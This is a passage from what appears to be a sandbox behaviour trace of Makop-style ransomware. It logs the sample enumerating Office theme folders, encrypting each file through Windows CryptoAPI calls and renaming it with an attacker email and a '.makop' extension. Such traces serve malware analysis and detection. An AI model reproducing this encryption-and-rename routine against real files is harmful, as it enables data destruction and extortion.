RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.066] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.066] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.067] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0096.071] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.071] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.071] GetProcessHeap () returned 0x48a0000 [0096.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.071] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.071] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.071] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.071] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.071] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.072] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.072] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.072] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.072] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.072] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.072] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.072] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd97, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd97, lpOverlapped=0x0) returned 1 [0096.072] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xda0, dwBufLen=0xda0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xda0) returned 1 [0096.072] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.073] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xda0, lpOverlapped=0x0) returned 1 [0096.073] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.073] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.073] SetEndOfFile (hFile=0x138) returned 1 [0096.080] GetProcessHeap () returned 0x48a0000 [0096.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.080] GetProcessHeap () returned 0x48a0000 [0096.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.080] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0096.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.081] CloseHandle (hObject=0x138) returned 1 [0096.081] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0096.081] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0096.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.082] GetProcessHeap () returned 0x48a0000 [0096.082] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.082] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.082] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.082] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0096.086] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.086] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.086] GetProcessHeap () returned 0x48a0000 [0096.086] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.086] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.086] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.087] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.087] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.087] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.087] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.087] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.087] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.087] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.087] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.088] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.088] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c5d, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7c5d, lpOverlapped=0x0) returned 1 [0096.089] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7c60, dwBufLen=0x7c60 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7c60) returned 1 [0096.090] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.090] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7c60, lpOverlapped=0x0) returned 1 [0096.090] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.090] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.090] SetEndOfFile (hFile=0x138) returned 1 [0096.098] GetProcessHeap () returned 0x48a0000 [0096.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.098] GetProcessHeap () returned 0x48a0000 [0096.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.098] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.099] CloseHandle (hObject=0x138) returned 1 [0096.099] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0096.099] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0096.100] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0096.100] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE") returned 62 [0096.100] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*") returned 66 [0096.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0096.101] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.102] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0096.102] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0096.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.102] GetProcessHeap () returned 0x48a0000 [0096.102] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.102] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.102] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.103] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0096.107] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.107] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.107] GetProcessHeap () returned 0x48a0000 [0096.107] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0096.107] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0096.107] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.107] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0096.108] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.108] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.108] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.108] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.108] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.109] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.109] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.109] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.109] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a537, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1a537, lpOverlapped=0x0) returned 1 [0096.111] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1a540, dwBufLen=0x1a540 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1a540) returned 1 [0096.113] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.113] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a540, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1a540, lpOverlapped=0x0) returned 1 [0096.114] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.114] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1a604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.114] SetEndOfFile (hFile=0x138) returned 1 [0096.122] GetProcessHeap () returned 0x48a0000 [0096.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0096.122] GetProcessHeap () returned 0x48a0000 [0096.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.123] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0096.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.124] CloseHandle (hObject=0x138) returned 1 [0096.124] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0096.125] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0096.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.127] GetProcessHeap () returned 0x48a0000 [0096.127] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.127] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.127] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.127] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0096.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.131] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.131] GetProcessHeap () returned 0x48a0000 [0096.131] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0096.131] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0096.131] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.131] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0096.132] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.132] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.132] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.132] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.132] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.132] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.132] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.132] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.133] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 